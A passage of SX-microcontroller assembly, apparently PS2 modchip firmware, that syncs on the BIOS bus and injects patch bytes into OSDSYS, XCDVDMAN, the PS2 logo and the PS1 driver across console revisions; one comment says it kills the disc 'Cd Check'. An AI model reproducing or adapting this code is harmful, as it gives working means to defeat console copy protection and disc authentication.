VAR_DC2 set in loading of call here for ea patch jmp RUN_BIOS_PATCHES_SRAM END_BIOS_PATCHES_SRAM_RESET_IO sb IO_BIOS_OE ; next byte / wait for bios OE high jmp END_BIOS_PATCHES_SRAM_RESET_IO ; jmp END_BIOS_PATCHES_SRAM_RESET_IO if IO_BIOS_OE high mov w,#$ff ; 1111 1111 mov !IO_BIOS_DATA,w ; all pins Hi-Z input clr fsr ;moved here ! retp ; patching done. Return from call ENDIF ;---------------------------------------------------------- ;Patch PS2 game... ;---------------------------------------------------------- ;-------------------------------------------------------------------------------- BIOS_PATCH_DATA ;osdsys ;-------------------------------------------------------------------------------- jmp pc+w ;V134 retw $23 retw $80 retw $ac retw $c retw $0 retw $0 retw $0 ;VX retw $24 ; 7 retw $10 retw $3c retw $e4 retw $24 retw $80 retw $ac retw $e4 retw $22 retw $90 retw $ac retw $84 retw $bc mov w,#79;$4f mov VAR_DC3,w ;79 ; #### ber jmp BIOS_PATCH_DATA_PART2_ALL ;V9 retw $24 ; 23 retw $10 retw $3c retw $74 retw $2a retw $80 retw $ac retw $74 retw $28 retw $90 retw $ac retw $bc retw $d3 mov w,#79;$4f mov VAR_DC3,w jmp BIOS_PATCH_DATA_PART2_ALL ;V14 retw $24 ; 39 +8 = 47 retw $10 retw $3c retw $78 retw $2d retw $80 retw $ac retw $40 retw $2b retw $90 retw $ac retw $a0 retw $ff mov w,#79;$4f mov VAR_DC3,w jmp BIOS_PATCH_DATA_PART2_ALL ;V10-12 retw $24 ; 39 +8 = 47 retw $10 retw $3c retw $e4 retw $2c retw $80 retw $ac retw $f4 retw $2a retw $90 retw $ac snb V12_FLAG jmp V12_CONSOLE_20_BIOS_JMP mov w,#70;$46 mov VAR_DC3,w ; 54 + 16 = 70 retw $a4 retw $ec mov w,#79;$4f mov VAR_DC3,w ; 63 + 16 = 79 jmp BIOS_PATCH_DATA_PART2_ALL ;v12 V12_CONSOLE_20_BIOS_JMP mov w,#77;$4d mov VAR_DC3,w ; 61 + 16 = 77 retw $c retw $f9 ;LOAD_END BIOS_PATCH_DATA_PART2_ALL retw $91 ; 63 + 8 = 71 ;;79 retw $34 retw $0 retw $0 retw $30 retw $ae retw $c retw $0 retw $0 retw $0 ;LOAD_PSX1D retw $c7 ; 73 retw $2 retw $34 retw $19 retw $19 retw $e2 retw $ba retw $11 retw $19 retw $e2 retw $ba ;V14 jmp back retw $3c ; 71 + 8 = 79 retw $c7 ; 73 retw $2 retw $34 IFDEF NTSCPS1YFIX75K retw $29 ;19pal/29ntsc yfix pal console ELSE retw $19;$29 ;19pal/29ntsc yfix pal console ENDIF retw $19 retw $c2 retw $bb IFDEF NTSCPS1YFIX75K retw $21 ;11pal/21ntsc yfix pal console ELSE retw $11;$21 ;11pal/21ntsc yfix pal console ENDIF retw $19 retw $c2 retw $bb retw $60 retw $9 retw $8 retw $8 ;PS2_PATCH PS2_MODE_START ;load osdsys data patch for PS2 mode or ps1drv data patch for PSX mode clr fsr sb PSX_FLAG jmp CHECK_IF_V1_v2or3_V4_V5to8 ;ps2 mode selected , skip snb V14_FLAG page $0400 jmp PS2LOGO_PATCHLOAD_22_JMP1 mov w,#11;$b mov VAR_DC1,w ;psx mode : # of patch bytes mov w,#$59 ; 89 ;ps1drv data offset here ... jmp ALL_CONTIUNE_BIOS_PATCH ;:set_psx2 CHECK_IF_V1_v2or3_V4_V5to8 ;ps2 mode data offset clr fsr snb V14_FLAG jmp CHECK_V9to14_REV ;jmp CHECK_V9to14_REV if CHECK_V9to14_REV set meaning W v14/75k+ mov w,#$31 ;ascii 1 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 1 ;v1 snb z ;skip next line if doesnt = 0 meaning is 1 ascii jmp V1_CONSOLE_11_BIOS ;jmp V1_CONSOLE_11_BIOS if VAR_BIOS_REV did = 1 ascii mov w,#$32 ;ascii 2 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 2 ;v2-3 snb z ;skip next line if doesnt = 0 meaning is 2 ascii jmp V2or3_CONSOLE_12_BIOS ;jmp V2or3_CONSOLE_12_BIOS if VAR_BIOS_REV did = 2 ascii mov w,#$35 ;ascii 5 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 5 ;v4 snb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp V4_CONSOLE_15_BIOS ;jmp V4_CONSOLE_15_BIOS if VAR_BIOS_REV did = 5 ascii jmp CHECK_V9to14_REV ;jmp CHECK_V9to14_REV if VAR_BIOS_REV didnt = 5 ascii ;:set_V1 V1_CONSOLE_11_BIOS mov w,#$c0 mov IO_BIOS_DATA,w mov w,#176;$b0 mov VAR_DC3,w mov w,#116;$74 mov VAR_DC4,w jmp V1to8_CONTIUNE ;:set_V3 V2or3_CONSOLE_12_BIOS mov w,#$d8 mov IO_BIOS_DATA,w mov w,#64;$40 mov VAR_DC3,w mov w,#122;$7a mov VAR_DC4,w jmp V1to8_CONTIUNE ;:set_V4 V4_CONSOLE_15_BIOS mov w,#96;$60 mov VAR_DC3,w mov w,#125;$7d mov VAR_DC4,w mov w,#12;$c mov IO_BIOS_DATA,w ;:set_P V1to8_CONTIUNE mov w,#7;$7 ; V5678 mov VAR_DC1,w mov VAR_DC2,w clr w jmp ALL_CONTIUNE_BIOS_PATCH ;:set_Vx CHECK_V9to14_REV mov w,#$2 mov IO_BIOS_DATA,w mov w,#23;$17 mov VAR_DC1,w mov VAR_DC2,w ; VAR_DC1 VAR_DC2 = 17h = 23 mov w,#$37 ;ascii 7 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 7 ;1.7bios v9-11 50k snb z jmp V9_CONSOLE_17_BIOS mov w,#$39 ;ascii 9 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 9 ;1.9bios v9-11 50k snb z jmp V9_CONSOLE_19_BIOS mov w,#$30 ;ascii 0 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 0 ;2.0bios v12 snb z jmp V12_CONSOLE_20_BIOS mov w,#$32 mov w,VAR_BIOS_REV-w snb z jmp V14_CONSOLE_22_BIOS mov w,#48;$30 mov VAR_DC3,w mov w,#125;$7d mov VAR_DC4,w mov w,#7;$7 ; V5678 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V9 V9_CONSOLE_17_BIOS mov w,#4;$4 mov VAR_DC3,w mov w,#148;$94 mov VAR_DC4,w mov w,#23;$17 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V14 V14_CONSOLE_22_BIOS setb V10_FLAG setb V14_FLAG mov w,#212;$d4 mov VAR_DC3,w mov w,#169;$a9 mov VAR_DC4,w mov w,#39;$27 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V10 V9_CONSOLE_19_BIOS setb V10_FLAG mov w,#100;$64 mov VAR_DC3,w mov w,#158;$9e mov VAR_DC4,w mov w,#55;$37 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V12 V12_CONSOLE_20_BIOS setb V10_FLAG setb V12_FLAG mov w,#124;$7c mov VAR_DC3,w mov w,#169;$a9 mov VAR_DC4,w mov w,#55;$37 ;:loopxx ALL_CONTIUNE_BIOS_PATCH snb DEV1_FLAG jmp SECONDBIOS_PATCH_DEV1_STACK mov VAR_DC3,w IFDEF SX48RAM mov w,#$20 ELSE mov w,#$15 ENDIF mov fsr,w ;:loop LOAD_BIOS_PATCH_DATA mov w,VAR_DC3 call BIOS_PATCH_DATA mov indf,w inc fsr IFDEF SX48RAM ELSE mov w,#$10 or fsr,w ENDIF inc VAR_DC3 decsz VAR_DC1 jmp LOAD_BIOS_PATCH_DATA clr fsr snb PSX_FLAG page $0000 jmp TRAY_IS_EJECTED ;PS2_PATCH2 ;exit osd patch if psx mode selected ... ;:loop0 ; OSDSYS Wait for 60 00 04 08 ... fixed for V10 :) SECOND_BIOS_PATCH_SYNC snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC mov w,#$60 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC SECOND_BIOS_PATCH_SYNC_LOOP1 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP1 SECOND_BIOS_PATCH_SYNC_LOOP2 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP2 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC SECOND_BIOS_PATCH_SYNC_LOOP3 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP3 SECOND_BIOS_PATCH_SYNC_LOOP4 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP4 mov w,#$4 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC SECOND_BIOS_PATCH_SYNC_LOOP5 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP5 SECOND_BIOS_PATCH_SYNC_LOOP6 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP6 mov w,#$8 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC IFDEF SX48RAM mov w,#$20;15 ELSE mov w,#$15 ENDIF mov fsr,w ;----------------------------------------------------------- ; Patch data for bios OSDSYS ;----------------------------------------------------------- ;:loop1 SECOND_BIOS_PATCH_SYNC_P2 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P2 mov w,#$7 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC_P2 SECOND_BIOS_PATCH_SYNC_P3 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P3 mov w,#$3 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC_P3 ;:loop66 SECOND_BIOS_PATCH_SYNC_P4 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4 SECOND_BIOS_PATCH_SYNC_P4_L1 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4_L1 mov w,#$24 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC_P3 SECOND_BIOS_PATCH_SYNC_P4_L2 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4_L2 mov !IO_BIOS_DATA,w SECOND_BIOS_PATCH_SYNC_P4_L3 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4_L3 page $0200 call RUN_BIOS_PATCHES_SRAM snb DEV1_FLAG page $0600 jmp FINISHED_RUN_START snb V12LOGO_FLAG page $0400 jmp PS1_MODE_SUCESSFUL_END ;logo patch for V12 page $0000 jmp CHECK_IF_START_PS2LOGO ;end of osd patch IFDEF SX48RAM ;SETUPDEV SECONDBIOS_PATCH_DEV1_STACK mov w,#$27;1c mov fsr,w mov w,VAR_DC3 mov indf,w inc fsr mov w,VAR_DC4 mov indf,w clr fsr mov w,#$4 mov IO_BIOS_DATA,w mov w,#$77 mov VAR_DC2,w page $0200 jmp SECOND_BIOS_PATCH_SYNC SET_V14DRV ;; this problem ??? mov w,#$2f;34 mov fsr,w mov w,#$14 mov indf,w inc fsr mov w,#$2 mov indf,w mov w,#$4b;50 mov fsr,w mov w,#$20 mov indf,w mov w,#$4f;54 mov fsr,w mov w,#$5c mov indf,w inc fsr mov w,#$25 mov indf,w mov w,#$55;5a mov fsr,w mov w,#$8 mov indf,w mov w,#16;$10 mov VAR_DC1,w mov w,#100;$64 mov VAR_DC3,w mov w,#$57;5c mov fsr,w page $0200 ; PAGE2 jmp LOAD_BIOS_PATCH_DATA ELSE ;SETUPDEV SECONDBIOS_PATCH_DEV1_STACK mov w,#$1c mov fsr,w mov w,VAR_DC3 mov indf,w inc fsr mov w,VAR_DC4 mov indf,w clr fsr mov w,#$4 mov IO_BIOS_DATA,w mov w,#115;$73 mov VAR_DC2,w page $0200 jmp SECOND_BIOS_PATCH_SYNC SET_V14DRV mov w,#$34 mov fsr,w mov w,#$14 mov indf,w inc fsr mov w,#$2 mov indf,w mov w,#$50 mov fsr,w mov w,#$20 mov indf,w mov w,#$54 mov fsr,w mov w,#$5c mov indf,w inc fsr mov w,#$25 mov indf,w mov w,#$5a mov fsr,w mov w,#$8 mov indf,w mov w,#16;$10 mov VAR_DC1,w mov w,#100;$64 mov VAR_DC3,w mov w,#$5c mov fsr,w page $0200 ; PAGE2 jmp LOAD_BIOS_PATCH_DATA ENDIF ;---------------------------------------------------------- ;XCDVDMAN routine ;---------------------------------------------------------- ;IS_XCDVDMANX POST_PATCH_4_MODE_START page $0000 ; PAGE1 call SET_INTRPT ;IS_XCDVDMAN POST_PATCH_4_MODE_START2 snb DEV1_FLAG page $0600 jmp FINISHED_RUN_START_P2 mov w,#100;$64 ; 100 mov VAR_DC4,w ; 30-35 sec wait for BIOS ;IS_XCDVDMAN:loop4 POST_PATCH_4_MODE_START_L1 mov w,#255;$ff mov VAR_DC3,w ;IS_XCDVDMAN:loop3 POST_PATCH_4_MODE_START_L2 mov w,#255;$ff mov VAR_DC2,w ;IS_XCDVDMAN:loop2 POST_PATCH_4_MODE_START_L3 mov w,#255;$ff mov VAR_DC1,w ;IS_XCDVDMAN:loopx POST_PATCH_4_MODE_START_L4 sb IO_BIOS_CS jmp POST_PATCH_4_MODE_START_P2 decsz VAR_DC1 jmp POST_PATCH_4_MODE_START_L4 decsz VAR_DC2 jmp POST_PATCH_4_MODE_START_L3 decsz VAR_DC3 jmp POST_PATCH_4_MODE_START_L2 decsz VAR_DC4 jmp POST_PATCH_4_MODE_START_L1 jmp PS2_MODE_RB_IO_SET_SLEEP ; no xcdvdman reload ... ;IS_XCDVDMAN:loop0 POST_PATCH_4_MODE_START_L5 snb IO_BIOS_CS jmp POST_PATCH_4_MODE_START_L4 ;IS_XCDVDMAN:loop1 POST_PATCH_4_MODE_START_P2 mov w,#$a2 ;sync A2 93 23 for V1-V10 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5 call BIOS_WAIT_OE_LO_P2 mov w,#$93 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5 call BIOS_WAIT_OE_LO_P2 mov w,#$34 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5 ;XCDVDMAN clr fsr mov w,#7;$7 mov VAR_DC2,w mov w,#$8 mov IO_BIOS_DATA,w ;send 08 ;xcdvdman1_l0a POST_PATCH4MODE_START_P2_L1 snb IO_BIOS_OE jmp POST_PATCH4MODE_START_P2_L1 mov w,#$27 ;27 18 00 A3 (A3) mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 call BIOS_WAIT_OE_LO_P2 mov w,#$18 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 call BIOS_WAIT_OE_LO_P2 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 call BIOS_WAIT_OE_LO_P2 mov w,#$a3 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 ; patch it ; Addr 00006A28 export 0x23(Cd Check) kill it ; 00006A28: 08 00 E0 03 jr ra ; 00006A2C: 00 00 00 00 nop snb X_FLAG ;first XMAN executed ! jmp POST_PATCH4MODE_END_P2 ;xcdvdman1_next IFDEF SX48RAM mov w,#$20;15 ELSE mov w,#$15 ENDIF mov fsr,w ;xcdvdman1_l1 POST_PATCH4MODE_START_P2_L2 snb IO_BIOS_OE jmp POST_PATCH4MODE_START_P2_L2 nop mov w,#$27 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L2 POST_PATCH4MODE_START_P2_L3 sb IO_BIOS_OE jmp POST_PATCH4MODE_START_P2_L3 mov !IO_BIOS_DATA,w POST_PATCH4MODE_END_P1 snb IO_BIOS_OE jmp POST_PATCH4MODE_END_P1 page $0200 call RUN_BIOS_PATCHES_SRAM sb EJ_FLAG page $0000 jmp TRAY_IS_EJECTED ;jump to EJECTED if no EJ_FLAG = first xman patch for originals jmp POST_PATCH_4_MODE_START2 ;? da verificare !!! ;again POST_PATCH4MODE_END_P2 clrb X_FLAG jmp POST_PATCH_4_MODE_START2 ;patch cddvdman & xcdvdman ;TO SLEEP ... , PERHARPS TO DREAM ... PS2_MODE_RB_IO_SET_SLEEP mode $000A ; XAh WKED_B Each register bit selects the edge sensitivity of the corresponding Port B input pin for MIWU operation. ;todo mov w,#$6 ; 0000 0110 Set the bit to 1 to sense falling (high-to-low) edges. mov !IO_CDDVD_BUS,w ; rb.1 IO_BIOS_CS rb.2 IO_REST high-to-low sense mode $0009 ; X9h Exchange WKPND_B clr w ; 0000 0000 mov !IO_CDDVD_BUS,w ; A bit set to 1 indicates that a valid edge has occurred on the corresponding MIWU pin, triggering a wakeup or interrupt. ; A bit set to 0 indicates that no valid edge has occurred on the MIWU pin. ; The WKPND_B register comes up with undefine value upon reset. mode $000B ; XBh WKEN_B Multi-Input Wakeup/Interrupt (MIWU) function for the corresponding Port B input pin. ; Clear the bit to 0 to enable MIWU operation or set the bit to 1 to disable MIWU operation. snb PSX_FLAG ; jmp PS1_MODE_RB_IO_SET_SLEEP if PSX_FLAG is set jmp PS1_MODE_RB_IO_SET_SLEEP ; skip below io set and jmp PS1_MODE_RB_IO_SET_SLEEP mov w,#$f1 ; 1111 0001 mov !IO_CDDVD_BUS,w ; rb.1 IO_BIOS_CS rb.2 IO_REST rb.3 IO_EJECT enabled sleep PS1_MODE_RB_IO_SET_SLEEP mov w,#$f3 ; 1111 0011 mov !IO_CDDVD_BUS,w ; rb.2 IO_REST rb.3 IO_EJECT enabled sleep org $0400 ; PAGE4 400-5FF ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P4 ;-------------------------------------------------------------------------------- snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P2 ret ;-------------------------------------------------------------------------------- PS2LOGO_PATCH ;-------------------------------------------------------------------------------- jmp pc+w ;LOAD_XMAN retw $0 ; 0 retw $e0 retw $3 retw $21 retw $10 retw $0 retw $0 mov w,#51;$33 mov VAR_DC3,w sb V14_FLAG jmp PS2LOGO_PATCH_not22_JMP1 ;v14? mov w,#13;$d mov VAR_DC3,w retw $40 retw $8 retw $11 retw $3c retw $8 retw $0 retw $32 retw $36 retw $f8 retw $1 retw $92 retw $ac retw $21 retw $0 retw $40 retw $8 retw $b retw $0 retw $32 retw $36 retw $10 retw $0 retw $4 retw $3c retw $18 retw $16 retw $92 retw $ac retw $0 retw $0 retw $4 retw $8 mov w,#70;$46 mov VAR_DC3,w snb V14_FLAG jmp PS2LOGO_PATCH_22_JMP2 ;not v14 patches, how flows? mov w,#51;$33 mov VAR_DC3,w ;v12 PS2LOGO_PATCH_not22_JMP1 retw $8 retw $11 retw $3c retw $c1 retw $0 retw $32 retw $36 retw $18 retw $16 retw $92 retw $ac retw $c retw $0 retw $0 retw $0 ;LOGO2 PS2LOGO_PATCH_22_JMP2 retw $0 retw $0 retw $0 retw $0 retw $20 retw $38 retw $11 retw $0 retw $0 retw $60 retw $3 retw $24 retw $0 retw $0 retw $e2 retw $90 retw $0 retw $0 retw $e4 retw $90 retw $ff retw $ff retw $63 retw $24 retw $26 retw $20 retw $82 retw $0 retw $0 retw $0 retw $e4 retw $a0 retw $fb retw $ff retw $61 retw $4 retw $1 retw $0 retw $e7 retw $24 mov w,#117;$75 mov VAR_DC3,w snb V10_FLAG jmp PS2LOGO_PATCH_19_20_JMP1 mov w,#112;$70 mov VAR_DC3,w retw $d0 retw $80 mov w,#119;$77 mov VAR_DC3,w jmp PS2LOGO_PATCH_11_17_JMP1 ;LOADV10A PS2LOGO_PATCH_19_20_JMP1 retw $50 retw $81 ;LOADL1 PS2LOGO_PATCH_11_17_JMP1 retw $80 retw $af retw $2e retw $1 retw $22 retw $92 retw $2f retw $1 retw $23 retw $92 retw $26 retw $10 retw $43 retw $0 retw $1a retw $0 retw $3 retw $24 retw $3 retw $0 retw $43 retw $14 retw $1 retw $0 retw $7 retw $24 mov w,#171;$ab mov VAR_DC3,w snb V10_FLAG jmp PS2LOGO_PATCH_19_20_JMP2 mov w,#151;$97 mov VAR_DC3,w retw $bd retw $5 retw $4 retw $8 retw $cc retw $80 retw $87 retw $af retw $0 retw $0 retw $7 retw $24 retw $bd retw $5 retw $4 retw $8 retw $cc retw $80 retw $87 retw $af ;V10-12 PS2LOGO_PATCH_19_20_JMP2 retw $af retw $5 retw $4 retw $8 retw $4c retw $81 retw $87 retw $af retw $0 retw $0 retw $7 retw $24 retw $af retw $5 retw $4 retw $8 retw $4c retw $81 retw $87 retw $af ;V14DRV PS2LOGO_PATCHLOAD_22_JMP1 mov w,#39;$27 mov VAR_DC1,w jmp PS2LOGO_PATCHLOAD_22_JMP2 ;XMAN START_PS2LOGO_PATCH_LOAD mov w,#123;$7b mov VAR_DC1,w snb V14_FLAG jmp PS2LOGO_PATCHLOAD_22_JMP2 mov w,#110;$6e mov VAR_DC1,w ;PS2_PS2LOGO ;PS2_PS2LOGO:loopa PS2LOGO_PATCHLOAD_22_JMP2 clr w mov VAR_DC3,w IFDEF SX48RAM mov w,#$20 ELSE mov w,#$15 ENDIF mov fsr,w ;PS2_PS2LOGO:loop PS2LOGO_PATCHLOAD_LOOP mov w,VAR_DC3 call PS2LOGO_PATCH mov indf,w inc fsr IFDEF SX48RAM ELSE mov w,#$10 or fsr,w ENDIF inc VAR_DC3 decsz VAR_DC1 jmp PS2LOGO_PATCHLOAD_LOOP clr fsr snb PSX_FLAG page $0200 jmp SET_V14DRV snb X_FLAG page $0200 jmp POST_PATCH_4_MODE_START2 ;PS2_PS2LOGO:loopz PS1_DETECTED_REBOOT clr fsr mov w,#117;$75 mov VAR_DC2,w mov w,#$1 mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$c0 mov VAR_PSX_TEMP,w mov w,#$72 mov VAR_PSX_BITC,w mov w,#$0 mov IO_BIOS_DATA,w snb V14_FLAG jmp PS1_DETECTED_REBOOT_JMP20to22 ;load regs with v12 logo sync mov w,#103;$67 mov VAR_DC2,w ;V12 logo lenght mov w,#$8 mov VAR_PSX_BC_CDDVD_TEMP,w ;V12 sync data mov w,#$e0 mov VAR_PSX_TEMP,w mov w,#$9d mov VAR_PSX_BITC,w mov w,#$40 mov IO_BIOS_DATA,w ;V12 bios preload snb V12_FLAG jmp PS1_DETECTED_REBOOT_JMP20to22 ;load regs with v10 sync mov w,#$af mov VAR_PSX_BC_CDDVD_TEMP,w ;V10 sync data mov w,#$6 mov VAR_PSX_TEMP,w mov w,#$8 mov VAR_PSX_BITC,w mov w,#$0 mov IO_BIOS_DATA,w ;V1-V10 bios preload snb V10_FLAG jmp PS1_DETECTED_REBOOT_JMP11to17_ALL ;load regs with v1-v9 sync mov w,#$1e mov VAR_PSX_TEMP,w ;V1-V9 sync data ;PS2_PS2LOGO:patchlogo2 PS1_DETECTED_REBOOT_JMP11to17_ALL mov w,#87;$57 mov VAR_DC2,w ;PS2_PS2LOGO:loop4 PS1_DETECTED_REBOOT_JMP20to22 mov w,#$50 mov VAR_PSX_BYTE,w ;PS2_PS2LOGO:loop3 PS1_DETECTED_REBOOT_L1 mov w,#255;$ff mov VAR_DC3,w ;PS2_PS2LOGO:loop2 PS1_DETECTED_REBOOT_L2 mov w,#255;$ff mov VAR_DC1,w ;PS2_PS2LOGO:loopx AUTO_REBOOT_PS1MODE sb IO_BIOS_CS jmp PSX_MODE_START_P2 decsz VAR_DC1 jmp AUTO_REBOOT_PS1MODE decsz VAR_DC3 jmp PS1_DETECTED_REBOOT_L2 decsz VAR_PSX_BYTE jmp PS1_DETECTED_REBOOT_L1 ;AUTORESET ;NEW!!! future board design using a 2N7002 mosfet IFDEF RSTBUMP IFDEF SX48RSTBUMP ;NEW!!! future board design using a 2N7002 mosfet mov w,#$1b mov m,w mov w,#$ff mov !IO_CDDVD_BUS,w mov w,#$1f mov m,w mov w,#$0 mov IO_CDDVD_BUS,w mov w,#$fb ELSE mode $000B ;disable interrupt , need !!! ... mov w,#$ff ; 1111 1111 mov !IO_CDDVD_BUS,w ; above set for IO_CDDVD_BUS mode $000F ; XFh mode direction for RA, IO_CDDVD_BUS, RC output mov w,#$0 ; 0000 0000 mov IO_CDDVD_BUS,w ; IO_CDDVD_BUS = 0 ? clear IO_CDDVD_BUS values mov w,#$fb ; 1111 1011 IO_REST IO_REST output ENDIF ELSE mov w,#$0 mov IO_CDDVD_BUS,w mov w,#$fe ENDIF mov !IO_CDDVD_BUS,w page $0000 call DELAY100m mov w,#$ff mov !IO_CDDVD_BUS,w setb PSX_FLAG page $0000 jmp CHECK_IF_V9to14 ;sync for all versions using regs :)) ;PS2_PS2LOGO::loop00x PS1_MODE_START snb IO_BIOS_CS jmp AUTO_REBOOT_PS1MODE ;PS2_PS2LOGO:loop1x PSX_MODE_START_P2 mov w,VAR_PSX_BC_CDDVD_TEMP mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_START PS1_MODE_L1 sb IO_BIOS_OE jmp PS1_MODE_L1 PS1_MODE_L2 snb IO_BIOS_OE jmp PS1_MODE_L2 mov w,VAR_PSX_TEMP mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_START PS1_MODE_L3 sb IO_BIOS_OE jmp PS1_MODE_L3 PS1_MODE_L4 snb IO_BIOS_OE jmp PS1_MODE_L4 mov w,VAR_PSX_BITC mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_START IFDEF SX48RAM mov w,#$26;1b ELSE mov w,#$1b ENDIF mov fsr,w snb V14_FLAG jmp PS1_MODE_L5 snb V12_FLAG jmp PS1_MODE_v12_PATCHS IFDEF SX48RAM mov w,#$37;3C ELSE mov w,#$3c ENDIF mov fsr,w PS1_MODE_L5 snb IO_BIOS_OE jmp PS1_MODE_L5 nop mov w,#$c mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_L5 PS1_MODE_L6 sb IO_BIOS_OE jmp PS1_MODE_L6 mov !IO_BIOS_DATA,w ;PS2_PS2LOGO:loop1 PS1_MODE_L7 snb IO_BIOS_OE jmp PS1_MODE_L7 page $0200 call RUN_BIOS_PATCHES_SRAM decsz VAR_DC4 jmp PS1_DETECTED_REBOOT_JMP11to17_ALL ;patch logo 2 times for V7 only ! ;PS2_PS2LOGO:back PS1_MODE_SUCESSFUL_END snb PSX_FLAG jmp PS1_CONSOLE_ALL_JMPNTSC setb EJ_FLAG page $0200 jmp POST_PATCH_4_MODE_START2 ;V12 logo sync PS1_MODE_v12_PATCHS IFDEF SX48RAM mov w,#$27;1c ELSE mov w,#$1c ENDIF mov fsr,w setb V12LOGO_FLAG page $0200 jmp SECOND_BIOS_PATCH_SYNC_P2 ;psx1 driver patch ... ;PSX1DRV PS1_CONSOLE_PAL_YFIX ;V7DRV mov w,#$3c mov IO_BIOS_DATA,w mov w,#11;$b mov VAR_DC2,w IFDEF SX48RAM mov w,#$20 ELSE mov w,#$15 ; fsr decimal 21 ENDIF mov fsr,w ;10 01 00 43 30 ;psx1drv_l0 PS1_CONSOLE_PAL_YFIX_SYNC snb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC mov w,#$11 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC call BIOS_WAIT_OE_LO_P4 mov w,#$11 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC call BIOS_WAIT_OE_LO_P4 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC call BIOS_WAIT_OE_LO_P4 mov w,#$9 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC ;psx1drv_l0a PS1_CONSOLE_PAL_YFIX_SYNC_L1 snb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC_L1 nop mov w,#$30 mov w,IO_BIOS_DATA-w ; 3C C7 34 19 19 E2 B2 19 E2 BA sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC_L1 PS1_CONSOLE_PAL_YFIX_SYNC_L2 sb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC_L2 mov !IO_BIOS_DATA,w PS1_CONSOLE_PAL_YFIX_SYNC_L3 snb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC_L3 page $0200 call RUN_BIOS_PATCHES_SRAM decsz VAR_DC4 jmp PS1_CONSOLE_PAL_YFIX ;LOGO PS1_CONSOLE_ALL_JMPNTSC mov w,#52;$34 ; should jmp here for ntsc but is no flow to here besides via ps1 hence poor ntsc console ps1 support h2o. is no ntsc yfix mov VAR_DC1,w mov w,#24;$18 mov VAR_DC3,w mov VAR_DC4,w ;logo_l1 ;match FDFF8514 PS1_CONSOLE_ALL_JMPNTSC_SYNC snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC mov w,#$fd mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC PS1_CONSOLE_ALL_JMPNTSC_SYNC_L1 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L1 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L2 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L2 mov w,#$ff mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC PS1_CONSOLE_ALL_JMPNTSC_SYNC_L3 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L3 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L4 snb IO_BIOS_OE jmp 